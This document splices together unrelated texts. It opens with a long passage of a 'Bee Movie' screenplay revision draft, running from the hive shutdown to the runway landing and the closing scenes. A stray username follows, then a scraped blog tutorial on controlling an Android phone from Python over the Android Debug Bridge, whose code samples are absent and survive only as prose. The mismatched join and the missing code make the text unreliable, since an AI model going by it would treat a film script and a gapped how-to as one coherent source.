“NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.
Masudbro94
Open in app Get started ITNEXT Published in ITNEXT You have 2 free member-only stories left this month. Sign up for Medium and get an extra one Kush Kush Follow Apr 15, 2021 · 7 min read · Listen Save How you can Control your Android Device with Python Photo by Caspar Camille Rubin on Unsplash Photo by Caspar Camille Rubin on Unsplash Introduction A while back I was thinking of ways in which I could annoy my friends by spamming them with messages for a few minutes, and while doing some research I came across the Android Debug Bridge. In this quick guide I will show you how you can interface with it using Python and how to create 2 quick scripts. The ADB (Android Debug Bridge) is a command line tool (CLI) which can be used to control and communicate with an Android device. You can do many things such as install apps, debug apps, find hidden features and use a shell to interface with the device directly. To enable the ADB, your device must firstly have Developer Options unlocked and USB debugging enabled. To unlock developer options, you can go to your devices settings and scroll down to the about section and find the build number of the current software which is on the device. Click the build number 7 times and Developer Options will be enabled. Then you can go to the Developer Options panel in the settings and enable USB debugging from there. Now the only other thing you need is a USB cable to connect your device to your computer. Here is what todays journey will look like: Installing the requirements Getting started The basics of writing scripts Creating a selfie timer Creating a definition searcher Installing the requirements The first of the 2 things we need to install, is the ADB tool on our computer. This comes automatically bundled with Android Studio, so if you already have that then do not worry. Otherwise, you can head over to the official docs and at the top of the page there should be instructions on how to install it. Once you have installed the ADB tool, you need to get the python library which we will use to interface with the ADB and our device. You can install the pure-python-adb library using pip install pure-python-adb. Optional: To make things easier for us while developing our scripts, we can install an open-source program called scrcpy which allows us to display and control our android device with our computer using a mouse and keyboard. To install it, you can head over to the Github repo and download the correct version for your operating system (Windows, macOS or Linux). If you are on Windows, then extract the zip file into a directory and add this directory to your path. This is so we can access the program from anywhere on our system just by typing in scrcpy into our terminal window. Getting started Now that all the dependencies are installed, we can start up our ADB and connect our device. Firstly, connect your device to your PC with the USB cable, if USB debugging is enabled then a message should pop up asking if it is okay for your PC to control the device, simply answer yes. Then on your PC, open up a terminal window and start the ADB server by typing in adb start-server. This should print out the following messages: * daemon not running; starting now at tcp:5037 * daemon started successfully If you also installed scrcpy, then you can start that by just typing scrcpy into the terminal. However, this will only work if you added it to your path, otherwise you can open the executable by changing your terminal directory to the directory of where you installed scrcpy and typing scrcpy.exe. Hopefully if everything works out, you should be able to see your device on your PC and be able to control it using your mouse and keyboard. Now we can create a new python file and check if we can find our connected device using the library: Here we import the AdbClient class and create a client object using it. Then we can get a list of devices connected. Lastly, we get the first device out of our list (it is generally the only one there if there is only one device connected). The basics of writing scripts The main way we are going to interface with our device is using the shell, through this we can send commands to simulate a touch at a specific location or to swipe from A to B. To simulate screen touches (taps) we first need to work out how the screen coordinates work. To help with these we can activate the pointer location setting in the developer options. Once activated, wherever you touch on the screen, you can see that the coordinates for that point appear at the top. The coordinate system works like this: A diagram to show how the coordinate system works A diagram to show how the coordinate system works The top left corner of the display has the x and y coordinates (0, 0) respectively, and the bottom right corners’ coordinates are the largest possible values of x and y. Now that we know how the coordinate system works, we need to check out the different commands we can run. I have made a list of commands and how to use them below for quick reference: Input tap x y Input text “hello world!” Input keyevent eventID Here is a list of some common eventID’s: 3: home button 4: back button 5: call 6: end call 24: volume up 25: volume down 26: turn device on or off 27: open camera 64: open browser 66: enter 67: backspace 207: contacts 220: brightness down 221: brightness up 277: cut 278: copy 279: paste If you wanted to find more, here is a long list of them here. Creating a selfie timer Now we know what we can do, let’s start doing it. In this first example I will show you how to create a quick selfie timer. To get started we need to import our libraries and create a connect function to connect to our device: You can see that the connect function is identical to the previous example of how to connect to your device, except here we return the device and client objects for later use. In our main code, we can call the connect function to retrieve the device and client objects. From there we can open up the camera app, wait 5 seconds and take a photo. It’s really that simple! As I said before, this is simply replicating what you would usually do, so thinking about how to do things is best if you do them yourself manually first and write down the steps. Creating a definition searcher We can do something a bit more complex now, and that is to ask the browser to find the definition of a particular word and take a screenshot to save it on our computer. The basic flow of this program will be as such: 1. Open the browser 2. Click the search bar 3. Enter the search query 4. Wait a few seconds 5. Take a screenshot and save it But, before we get started, you need to find the coordinates of your search bar in your default browser, you can use the method I suggested earlier to find them easily. For me they were (440, 200). To start, we will have to import the same libraries as before, and we will also have our same connect method. In our main function we can call the connect function, as well as assign a variable to the x and y coordinates of our search bar. Notice how this is a string and not a list or tuple, this is so we can easily incorporate the coordinates into our shell command. We can also take an input from the user to see what word they want to get the definition for: We will add that query to a full sentence which will then be searched, this is so that we can always get the definition. After that we can open the browser and input our search query into the search bar as such: Here we use the eventID 66 to simulate the press of the enter key to execute our search. If you wanted to, you could change the wait timings per your needs. Lastly, we will take a screenshot using the screencap method on our device object, and we can save that as a .png file: Here we must open the file in the write bytes mode because the screencap method returns bytes representing the image. If all went according to plan, you should have a quick script which searches for a specific word. Here it is working on my phone: A GIF to show how the definition searcher example works on my phone A GIF to show how the definition searcher example works on my phone Final thoughts Hopefully you have learned something new today, personally I never even knew this was a thing before I did some research into it. The cool thing is, that you can do anything you normal would be able to do, and more since it just simulates your own touches and actions! I hope you enjoyed the article and thank you for reading! 💖 468 9 468 9 More from ITNEXT Follow ITNEXT is a platform for IT developers & software engineers to share knowledge, connect, collaborate, learn and experience next-gen technologies. Sabrina 